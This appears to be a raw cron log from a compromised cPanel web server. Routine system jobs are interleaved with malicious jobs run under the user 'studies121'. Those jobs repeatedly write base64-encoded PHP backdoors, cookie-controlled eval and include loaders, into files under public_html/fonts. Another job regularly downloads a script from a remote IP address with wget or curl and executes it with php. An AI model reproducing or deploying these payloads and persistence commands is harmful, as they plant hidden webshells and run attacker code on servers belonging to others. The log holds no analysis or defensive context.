Sep 21 16:46:01 ip-184-168-122-23 CROND[12400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:46:01 ip-184-168-122-23 CROND[12402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 16:46:01 ip-184-168-122-23 CROND[12401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:46:01 ip-184-168-122-23 CROND[12404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:46:01 ip-184-168-122-23 CROND[12403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:46:01 ip-184-168-122-23 CROND[12405]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 16:47:01 ip-184-168-122-23 CROND[12513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:47:01 ip-184-168-122-23 CROND[12514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:47:01 ip-184-168-122-23 CROND[12515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:47:01 ip-184-168-122-23 CROND[12516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:48:01 ip-184-168-122-23 CROND[12638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:48:01 ip-184-168-122-23 CROND[12641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:48:01 ip-184-168-122-23 CROND[12642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:48:01 ip-184-168-122-23 CROND[12640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:48:01 ip-184-168-122-23 CROND[12643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:49:01 ip-184-168-122-23 CROND[12818]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 16:49:01 ip-184-168-122-23 CROND[12819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:49:01 ip-184-168-122-23 CROND[12820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:49:01 ip-184-168-122-23 CROND[12821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:49:01 ip-184-168-122-23 CROND[12822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:50:01 ip-184-168-122-23 CROND[12936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12937]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:50:01 ip-184-168-122-23 CROND[12939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 16:50:01 ip-184-168-122-23 CROND[12948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:51:01 ip-184-168-122-23 CROND[13052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:51:01 ip-184-168-122-23 CROND[13054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:51:01 ip-184-168-122-23 CROND[13057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:51:01 ip-184-168-122-23 CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:52:02 ip-184-168-122-23 CROND[13139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:52:02 ip-184-168-122-23 CROND[13141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:52:02 ip-184-168-122-23 CROND[13143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:52:02 ip-184-168-122-23 CROND[13142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:52:02 ip-184-168-122-23 CROND[13144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:53:01 ip-184-168-122-23 CROND[13291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:53:01 ip-184-168-122-23 CROND[13292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:53:01 ip-184-168-122-23 CROND[13294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:53:01 ip-184-168-122-23 CROND[13296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:54:01 ip-184-168-122-23 CROND[13655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:54:01 ip-184-168-122-23 CROND[13656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:54:01 ip-184-168-122-23 CROND[13654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:54:01 ip-184-168-122-23 CROND[13657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:54:01 ip-184-168-122-23 CROND[13658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:55:01 ip-184-168-122-23 CROND[13765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:55:02 ip-184-168-122-23 CROND[13767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:55:02 ip-184-168-122-23 CROND[13769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 16:55:02 ip-184-168-122-23 CROND[13770]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 16:55:02 ip-184-168-122-23 CROND[13771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:55:02 ip-184-168-122-23 CROND[13772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:56:01 ip-184-168-122-23 CROND[13880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:56:01 ip-184-168-122-23 CROND[13881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 16:56:01 ip-184-168-122-23 CROND[13883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:56:01 ip-184-168-122-23 CROND[13884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:56:01 ip-184-168-122-23 CROND[13889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:57:01 ip-184-168-122-23 CROND[13980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:57:01 ip-184-168-122-23 CROND[13981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:57:01 ip-184-168-122-23 CROND[13983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:57:01 ip-184-168-122-23 CROND[13985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:58:01 ip-184-168-122-23 CROND[14182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:58:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
